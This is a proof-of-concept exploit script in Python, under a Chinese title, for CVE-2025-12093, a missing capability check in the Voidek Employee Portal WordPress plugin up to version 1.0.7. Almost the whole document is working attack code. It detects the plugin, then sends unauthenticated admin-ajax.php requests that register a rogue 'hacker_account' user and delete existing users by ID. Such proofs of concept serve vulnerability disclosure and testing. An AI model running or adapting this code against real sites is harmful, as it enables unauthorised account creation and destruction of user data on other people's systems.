CVE-2025-12093 | Voidek Employee Portal插件未授权访问漏洞

import requests import sys # CVE-2025-12093 PoC - Voidek Employee Portal Unauthenticated Access # Target: WordPress site with Voidek Employee Portal plugin <= 1.0.7 TARGET_URL = "http://target-wordpress-site.com" def exploit_unauthorized_user_registration(): """ PoC: Exploit missing capability check to register new user account """ endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Action to register new account without authentication data = { 'action': 'voidek_register_user', 'username': 'hacker_account', 'email': '[email protected]', 'password': 'P@ssw0rd123', 'first_name': 'Hacker', 'last_name': 'Test' } response = requests.post(endpoint, data=data) print(f"[*] Registration Response: {response.status_code}") print(f"[*] Response Body: {response.text}") return response def exploit_unauthorized_user_deletion(user_id): """ PoC: Exploit missing capability check to delete existing user """ endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Action to delete user without authentication data = { 'action': 'voidek_delete_user', 'user_id': user_id } response = requests.post(endpoint, data=data) print(f"[*] Deletion Response: {response.status_code}") print(f"[*] Response Body: {response.text}") return response def check_plugin_version(): """ Check if vulnerable version of plugin is installed """ readme_url = f"{TARGET_URL}/wp-content/plugins/voidek-employee-portal/readme.txt" try: response = requests.get(readme_url, timeout=10) if 'voidek-employee-portal' in response.text.lower(): print(f"[*] Voidek Employee Portal plugin detected") return True except: pass return False if __name__ == '__main__': print("[*] CVE-2025-12093 PoC - Voidek Employee Portal <= 1.0.7") print("[*] Vulnerability: Missing capability check on AJAX actions") if check_plugin_version(): print("[+] Plugin detected, attempting exploitation...") exploit_unauthorized_user_registration() else: print("[-] Plugin not detected or not accessible")